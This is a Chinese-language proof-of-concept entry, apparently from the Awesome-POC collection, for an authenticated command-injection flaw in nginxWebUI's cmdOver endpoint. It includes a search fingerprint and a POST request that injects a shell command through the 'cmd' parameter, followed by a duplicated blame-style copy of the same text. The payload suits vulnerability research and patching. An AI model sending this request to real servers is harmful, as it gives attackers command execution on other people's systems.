Awesome-POC/Web应用漏洞/nginxWebUI cmdOver 后台命令执行漏洞.md

# nginxWebUI cmdOver 后台命令执行漏洞

## 漏洞描述

nginxWebUI 后台存在命令执行漏洞，攻击者登录后台后可以执行任意命令获取服务器权限

## 漏洞影响

```
nginxWebUI
```

## 网络测绘

```
title="nginxwebui"
```

## 漏洞复现

登录页面

![image-20220628112638269](./images/202206281126396.png)


验证请求包

```
POST /adminPage/remote/cmdOver

remoteId=local&cmd=start|id&interval=1
```

![image-20220628112938342](./images/202206281129491.png)
Web应用漏洞/WiseGiga NAS down_data.php 任意文件下载漏洞.md Web应用漏洞/WiseGiga NAS group.php 远程命令执行漏洞.md Web应用漏洞/nginxWebUI cmdOver 后台命令执行漏洞.md Web应用漏洞/七牛云 logkit log_path 任意文件读取漏洞.md 2022-06-28 12:00:19 +08:00			`# nginxWebUI cmdOver 后台命令执行漏洞`

			`## 漏洞描述`

			`nginxWebUI 后台存在命令执行漏洞，攻击者登录后台后可以执行任意命令获取服务器权限`

			`## 漏洞影响`

			```
			`nginxWebUI`
			```

更新漏洞 2023-08-28 15:55:36 +08:00			`## 网络测绘`
Web应用漏洞/WiseGiga NAS down_data.php 任意文件下载漏洞.md Web应用漏洞/WiseGiga NAS group.php 远程命令执行漏洞.md Web应用漏洞/nginxWebUI cmdOver 后台命令执行漏洞.md Web应用漏洞/七牛云 logkit log_path 任意文件读取漏洞.md 2022-06-28 12:00:19 +08:00
			```
			`title="nginxwebui"`
			```

			`## 漏洞复现`

			`登录页面`

更新漏洞 2022-12-05 11:09:28 +08:00			`![image-20220628112638269](./images/202206281126396.png)`
Web应用漏洞/WiseGiga NAS down_data.php 任意文件下载漏洞.md Web应用漏洞/WiseGiga NAS group.php 远程命令执行漏洞.md Web应用漏洞/nginxWebUI cmdOver 后台命令执行漏洞.md Web应用漏洞/七牛云 logkit log_path 任意文件读取漏洞.md 2022-06-28 12:00:19 +08:00


			`验证请求包`

			```
			`POST /adminPage/remote/cmdOver`

			`remoteId=local&cmd=start\|id&interval=1`
			```

更新漏洞 2022-12-05 11:09:28 +08:00			`![image-20220628112938342](./images/202206281129491.png)`